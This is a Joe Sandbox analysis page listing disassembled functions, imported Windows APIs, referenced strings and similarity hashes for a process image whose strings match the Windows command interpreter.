Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: DefaultUser
String ID:
API String ID: 3358694519-0
Opcode ID: 5d8fc4fa8e665926eb49570ec356dc21582dec5ebc006b351cd7b5a4e2c943bd
Instruction ID: 2516eaaa1b238ff67db580d8c14081a48363ec3cdec996f34653c72e2fe279e3
Opcode Fuzzy Hash: 5d8fc4fa8e665926eb49570ec356dc21582dec5ebc006b351cd7b5a4e2c943bd
Instruction Fuzzy Hash: 06E0C2A2D08F578BF7593E4160423B4D973CB6C7B2FC44132E68D812C04D2D284D522C

Function 00007FF718D52E44 Relevance: 1.3, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D52E8B

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: f77ccc38f2f42b08cf4ed255524ec50c837bf5ddba9254f495b6a2bfe7d154bb
Instruction ID: fe0838f0563912c0075f1662831a974878f4733b1de0f88c4cb74483d7f75235
Opcode Fuzzy Hash: f77ccc38f2f42b08cf4ed255524ec50c837bf5ddba9254f495b6a2bfe7d154bb
Instruction Fuzzy Hash: 3FF0B421B09B9940EB409756B540129D3A19B4CBF0B888335FABC47BC5DE3CD4598304

Non-executed Functions

Function 00007FF718D45B70 Relevance: 158.5, APIs: 70, Strings: 20, Instructions: 1037memorythreadprocessCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D45C20
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D45C39
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D45C4E
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D45C63
memset.MSVCRT ref: 00007FF718D45CAC

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

wcschr.MSVCRT ref: 00007FF718D45E17
memset.MSVCRT ref: 00007FF718D45F23
GetStartupInfoW.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF718D45F33
InitializeProcThreadAttributeList.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF718D45F68
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D45F7C
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D45F91
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D45FA9
InitializeProcThreadAttributeList.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF718D45FD1
UpdateProcThreadAttribute.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF718D46012
CreateProcessW.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF718D46088
DeleteProcThreadAttributeList.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0(?), ref: 00007FF718D460A0
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D460AC
RtlFreeHeap.NTDLL ref: 00007FF718D460C2
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D460DA
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF718D4611F
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0 ref: 00007FF718D46140
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D4615C
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D46173
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D46187
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D4619B
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D461AF
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D461C3
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D461D7

Part of subcall function 00007FF718D509F4: iswspace.MSVCRT ref: 00007FF718D50A11
Part of subcall function 00007FF718D509F4: wcschr.MSVCRT ref: 00007FF718D50A2B

??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D461FD
_wcsicmp.MSVCRT ref: 00007FF718D46265
_wcsicmp.MSVCRT ref: 00007FF718D46283
_wcsicmp.MSVCRT ref: 00007FF718D462A3
_wcsicmp.MSVCRT ref: 00007FF718D462C3
_wcsicmp.MSVCRT ref: 00007FF718D462E1
towupper.MSVCRT ref: 00007FF718D462FA
_wcsicmp.MSVCRT ref: 00007FF718D4631A
towupper.MSVCRT ref: 00007FF718D46333
towupper.MSVCRT ref: 00007FF718D4634C
_wcsicmp.MSVCRT ref: 00007FF718D4636C
_wcsicmp.MSVCRT ref: 00007FF718D4638C

Part of subcall function 00007FF718D46530: iswspace.MSVCRT ref: 00007FF718D46572

_wcsnicmp.MSVCRT ref: 00007FF718D46451
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D63DB0
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0 ref: 00007FF718D63DC2
RtlFreeHeap.NTDLL ref: 00007FF718D63DD8
_wcsicmp.MSVCRT ref: 00007FF718D63E5F
SetConsoleCtrlHandler.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF718D63EEB
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D63F0C
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D63F23
DeleteProcThreadAttributeList.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF718D63F3A
UpdateProcThreadAttribute.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FF718D63F71
SetConsoleCtrlHandler.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF718D63F8A

Strings

HIGH, xrefs: 00007FF718D46310
MAX, xrefs: 00007FF718D63AEB
SHARED, xrefs: 00007FF718D63C3F
, xrefs: 00007FF718D63BE7
NODE, xrefs: 00007FF718D63B17
BELOWNORMAL, xrefs: 00007FF718D46299
WAIT, xrefs: 00007FF718D63C66
REALTIME, xrefs: 00007FF718D63BF1
/K , xrefs: 00007FF718D63E55
NEWWINDOW, xrefs: 00007FF718D462D7
NORMAL, xrefs: 00007FF718D63BCB
.LNK, xrefs: 00007FF718D46446
COMSPEC, xrefs: 00007FF718D63DF1
"%s", xrefs: 00007FF718D63D96
LOW, xrefs: 00007FF718D46362
ABOVENORMAL, xrefs: 00007FF718D46279
SEPARATE, xrefs: 00007FF718D63C18
AFFINITY, xrefs: 00007FF718D4625B
MIN, xrefs: 00007FF718D46382
/K %s, xrefs: 00007FF718D63E1D

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: _wcsicmp$AttributeHeapProcThread$ErrorHandleLast$ListProcessmemset$towupper$CloseConsoleCtrlDeleteFreeHandlerInitializeUpdateiswspacewcschr$AllocCreateInfoStartup_wcsnicmp
String ID: $ /K $ /K %s$"%s"$.LNK$ABOVENORMAL$AFFINITY$BELOWNORMAL$COMSPEC$HIGH$LOW$MAX$MIN$NEWWINDOW$NODE$NORMAL$REALTIME$SEPARATE$SHARED$WAIT
API String ID: 1388555566-2647954630
Opcode ID: d4d9ce56e35a01f12eedf6d783baa2c0b86a8d3bd91a5e3763091160450b3b6f
Instruction ID: 400f64bed4d000eee6bb8a5c4d9cc8da488030c40819ab970b2d9dfe29557bcb
Opcode Fuzzy Hash: d4d9ce56e35a01f12eedf6d783baa2c0b86a8d3bd91a5e3763091160450b3b6f
Instruction Fuzzy Hash: 23A29131A08F8A86FB14AB25A4541B9F7A1FB8DB64FD48135DA8E47B94DF3CD40C8724

Function 00007FF718D4E680 Relevance: 79.4, APIs: 39, Strings: 6, Instructions: 696COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718D509F4: iswspace.MSVCRT ref: 00007FF718D50A11
Part of subcall function 00007FF718D509F4: wcschr.MSVCRT ref: 00007FF718D50A2B

wcschr.MSVCRT ref: 00007FF718D4E71D
wcschr.MSVCRT ref: 00007FF718D4E738
_get_osfhandle.MSVCRT ref: 00007FF718D4E784
GetFileSize.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D4E795
_wcsnicmp.MSVCRT ref: 00007FF718D4E7D5

Strings

:, xrefs: 00007FF718D4EB36
+: , xrefs: 00007FF718D4E731, 00007FF718D4EC33
^, xrefs: 00007FF718D4EC69
&<|>, xrefs: 00007FF718D4EC51
=,;, xrefs: 00007FF718D4E713, 00007FF718D4E840, 00007FF718D4EBC0, 00007FF718D4EC0F
:EOF, xrefs: 00007FF718D4E7CB

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: wcschr$FileSize_get_osfhandle_wcsnicmpiswspace
String ID: &<|>$+: $:$:EOF$=,;$^
API String ID: 511550188-726566285
Opcode ID: 348cd75d81f2e43b90b1fdde602cc3fa7c7e8620821296db2d6a5e23a835ab51
Instruction ID: 190324869256a4e25f6079e2c5ed937fffd24518ba6caca0eb84bb4a26e1d9ed
Opcode Fuzzy Hash: 348cd75d81f2e43b90b1fdde602cc3fa7c7e8620821296db2d6a5e23a835ab51
Instruction Fuzzy Hash: BE52B131A0CF5A96EB24AB15A400279E6B1FB4D774FC84275D98E43B94DF3CE84D8728

Function 00007FF718D49E50 Relevance: 67.3, APIs: 32, Strings: 6, Instructions: 811COMMON

Download Yara Rule

APIs

_wcsnicmp.MSVCRT ref: 00007FF718D49F25
_wcsnicmp.MSVCRT ref: 00007FF718D49F4A
_wcsnicmp.MSVCRT ref: 00007FF718D49F6F
_wcsnicmp.MSVCRT ref: 00007FF718D49F94
_wcsnicmp.MSVCRT ref: 00007FF718D49FB9
_wcsnicmp.MSVCRT ref: 00007FF718D49FDE
wcstol.MSVCRT ref: 00007FF718D4A02F
wcschr.MSVCRT ref: 00007FF718D4A2B1
wcschr.MSVCRT ref: 00007FF718D4A324
wcschr.MSVCRT ref: 00007FF718D4A367

Strings

useback, xrefs: 00007FF718D49F3D
usebackq, xrefs: 00007FF718D49F1B
skip=, xrefs: 00007FF718D49FAC
eol=, xrefs: 00007FF718D49F62
tokens=, xrefs: 00007FF718D49FD7
delims=, xrefs: 00007FF718D49F87

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: _wcsnicmp$wcschr$wcstol
String ID: delims=$eol=$skip=$tokens=$useback$usebackq
API String ID: 1738779099-3004636944
Opcode ID: 524a9485643aabb091361d6b16ddfe7c9a3cfc40a98c1ea6d538c196b1212b63
Instruction ID: c248e9d83d9693156af6ce17a5bf3e26cae389a1a20509667a965f814f96adbe
Opcode Fuzzy Hash: 524a9485643aabb091361d6b16ddfe7c9a3cfc40a98c1ea6d538c196b1212b63
Instruction Fuzzy Hash: E9728031B08B4A8AEB10AF6590406BDF7B1FB48768FC44175DE8D57B94DE3CA80C8729

Function 00007FF718D67F00 Relevance: 61.6, APIs: 28, Strings: 7, Instructions: 341memoryCOMMON

Download Yara Rule

APIs

GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF718D67F44
_get_osfhandle.MSVCRT ref: 00007FF718D67F5C
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF718D67F9E
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF718D67FFF
ReadConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF718D68020
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF718D68036
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF718D68061
RtlFreeHeap.NTDLL ref: 00007FF718D68075
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF718D680D6
RtlFreeHeap.NTDLL ref: 00007FF718D680EA
_wcsnicmp.MSVCRT ref: 00007FF718D68177
_wcsnicmp.MSVCRT ref: 00007FF718D6819A
_wcsnicmp.MSVCRT ref: 00007FF718D681BD
_wcsnicmp.MSVCRT ref: 00007FF718D681DC
_wcsnicmp.MSVCRT ref: 00007FF718D681FB
_wcsnicmp.MSVCRT ref: 00007FF718D6821A
_wcsnicmp.MSVCRT ref: 00007FF718D68239
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF718D68291
SetConsoleCursorPosition.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF718D682D7
FillConsoleOutputCharacterW.API-MS-WIN-CORE-CONSOLE-L2-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF718D682FB
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF718D6831A
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF718D68364
RtlFreeHeap.NTDLL ref: 00007FF718D68378
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF718D6839A
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF718D683AE
AcquireSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF718D683E6
ReadConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF718D68403
ReleaseSRWLockShared.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,?,?,?,00000000,00000000,0000237B,00000000,00000002,00002328,00000001,0000000A), ref: 00007FF718D68418

Strings

mkdir , xrefs: 00007FF718D68213
rd , xrefs: 00007FF718D68193
chdir , xrefs: 00007FF718D681D5
rmdir , xrefs: 00007FF718D681F4
md , xrefs: 00007FF718D681B6
cd , xrefs: 00007FF718D68170
pushd , xrefs: 00007FF718D68232

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Heap$Console_wcsnicmp$LockProcessShared$Free$AcquireBufferInfoReadReleaseScreen$AllocCharacterCursorFillHandleOutputPositionWrite_get_osfhandle
String ID: cd $chdir $md $mkdir $pushd $rd $rmdir
API String ID: 3637805771-3100821235
Opcode ID: c15d10fa516844a3d30f6ee6566238d7eb90fade697e3424b0e4caa7a671d349
Instruction ID: 1624fd992df05dac8b1f7da137e34bb7508be44d7a4d201177b0d22f20a171ab
Opcode Fuzzy Hash: c15d10fa516844a3d30f6ee6566238d7eb90fade697e3424b0e4caa7a671d349
Instruction Fuzzy Hash: 46E19271A08F5A8AE714AB61E401179FAB1FB4DBA9BD48230DD9E53794DF3CA40CC724

Function 00007FF718D43F90 Relevance: 60.8, APIs: 32, Strings: 2, Instructions: 1302fileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D44048
memset.MSVCRT ref: 00007FF718D4406E
memset.MSVCRT ref: 00007FF718D44094
memset.MSVCRT ref: 00007FF718D440BA

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D44492
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D445E0
SetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D44608
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D446DB
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D446FA
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D44719
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D44738

Part of subcall function 00007FF718D45194: VirtualAlloc.API-MS-WIN-CORE-MEMORY-L1-1-0 ref: 00007FF718D451C4

Part of subcall function 00007FF718D51EA0: wcschr.MSVCRT(?,?,?,00007FF718D4286E,00000000,00000000,00000000,00000000,00000000,0000000A,?,00007FF718D70D54), ref: 00007FF718D51EB3

Part of subcall function 00007FF718D5823C: FindFirstFileExW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D58280
Part of subcall function 00007FF718D5823C: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D5829D

CopyFileW.API-MS-WIN-CORE-KERNEL32-LEGACY-L1-1-0 ref: 00007FF718D61DD5
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D61DE7

Strings

%s , xrefs: 00007FF718D61982
%s, xrefs: 00007FF718D44254

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Filememset$Attributes$ErrorLast$AllocCopyFindFirstVirtualwcschr
String ID: %s$%s
API String ID: 3623545644-3518022669
Opcode ID: b1280c95c607ff8abac62f17f6730ad2ac5bc7cd816563325bb9a0c6bc9b7514
Instruction ID: d8c1cb54380944eb2892f4acf3fbcb86936c6a49e2e42b6bcc9e6b178ea031b0
Opcode Fuzzy Hash: b1280c95c607ff8abac62f17f6730ad2ac5bc7cd816563325bb9a0c6bc9b7514
Instruction Fuzzy Hash: DFD2C431A09F8A8AEB64AF21D4802BDF7A1FB49764F944135DA8E47A94DF3CE44CC714

Function 00007FF718D42C48 Relevance: 60.1, APIs: 32, Strings: 2, Instructions: 633COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF718D42CB6
memset.MSVCRT ref: 00007FF718D42CDA

Part of subcall function 00007FF718D4CA40: memset.MSVCRT ref: 00007FF718D4CAB3

wcsrchr.MSVCRT ref: 00007FF718D42E1F
memset.MSVCRT ref: 00007FF718D42ED4
GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D42F36
GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF718D42FA5
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D4302C
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D43112
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D43131
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF718D60E96
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D60EBD
_wcsicmp.MSVCRT ref: 00007FF718D60F75
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0 ref: 00007FF718D61065
WriteConsoleW.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF718D61094
GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF718D610AD
FlushConsoleInputBuffer.API-MS-WIN-CORE-CONSOLE-L2-1-0 ref: 00007FF718D610BC
GetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF718D610CF
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF718D610E0
_getch.MSVCRT ref: 00007FF718D610EC
SetConsoleMode.API-MS-WIN-CORE-CONSOLE-L1-1-0 ref: 00007FF718D61100
GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0 ref: 00007FF718D61113
FillConsoleOutputCharacterW.API-MS-WIN-CORE-CONSOLE-L2-1-0 ref: 00007FF718D6115D
SetConsoleCursorPosition.API-MS-WIN-CORE-CONSOLE-L2-1-0 ref: 00007FF718D6116F

Part of subcall function 00007FF718D53BAC: wcschr.MSVCRT(?,?,00007EE3,00007FF718D6B37D), ref: 00007FF718D53BE6

Strings

%s, xrefs: 00007FF718D43222, 00007FF718D60EE9
%9d, xrefs: 00007FF718D430B7, 00007FF718D60D21

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

Similarity

API ID: Console$memset$BufferMode$FullInfoNamePathScreen$CharacterCursorErrorFillFlushHandleInputLastOutputPositionWrite_getch_wcsicmpwcschrwcsrchr
String ID: %9d$%s
API String ID: 4286035211-3662383364
Opcode ID: b114766139773e2df951d73e5d05123471aeb2e8fda5b0a6868f05ac29e6399a
Instruction ID: e301579c325d4d6e1053e92c298d540993f978c017ffdeb447673feb1359d0ef
Opcode Fuzzy Hash: b114766139773e2df951d73e5d05123471aeb2e8fda5b0a6868f05ac29e6399a
Instruction Fuzzy Hash: 48529632A08F898AEB24AB24D8502F9F7A0FB4D768F944135DA8E47B95DF3CD54C8714

Function 00007FF718D50A6C Relevance: 53.1, APIs: 23, Strings: 7, Instructions: 605COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF718D51EA0: wcschr.MSVCRT(?,?,?,00007FF718D4286E,00000000,00000000,00000000,00000000,00000000,0000000A,?,00007FF718D70D54), ref: 00007FF718D51EB3

_wcsnicmp.MSVCRT ref: 00007FF718D50AFE
memset.MSVCRT ref: 00007FF718D50B37
wcschr.MSVCRT ref: 00007FF718D50B91
wcsrchr.MSVCRT ref: 00007FF718D50C14
wcsrchr.MSVCRT ref: 00007FF718D50D79
NeedCurrentDirectoryForExePathW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-2-0 ref: 00007FF718D50D9A
wcsrchr.MSVCRT ref: 00007FF718D50FBB
wcschr.MSVCRT ref: 00007FF718D50FD8
wcschr.MSVCRT ref: 00007FF718D50FF3
_wcsicmp.MSVCRT ref: 00007FF718D51091
_wcsicmp.MSVCRT ref: 00007FF718D510B1
wcsrchr.MSVCRT ref: 00007FF718D51102
_wcsicmp.MSVCRT ref: 00007FF718D51124
_wcsicmp.MSVCRT ref: 00007FF718D51142
??_V@YAXPEAX@Z.MSVCRT ref: 00007FF718D51169

Strings

.BAT, xrefs: 00007FF718D51087, 00007FF718D51138
.CMD, xrefs: 00007FF718D510A7, 00007FF718D5111A
cmd , xrefs: 00007FF718D50AF4
COMSPEC, xrefs: 00007FF718D5D927
PATH, xrefs: 00007FF718D511D3
.COM;.EXE;.BAT;.CMD;.VBS;.JS;.WS;.MSC, xrefs: 00007FF718D5DA38
PATHEXT, xrefs: 00007FF718D50E6E

Memory Dump Source

Source File: 00000005.00000002.2059195351.00007FF718D41000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF718D40000, based on PE: true

Associated: 00000005.00000002.2059144065.00007FF718D40000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059253636.00007FF718D72000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D7D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059294844.00007FF718D8F000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.2059334343.00007FF718D99000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ff718d40000_alpha.jbxd

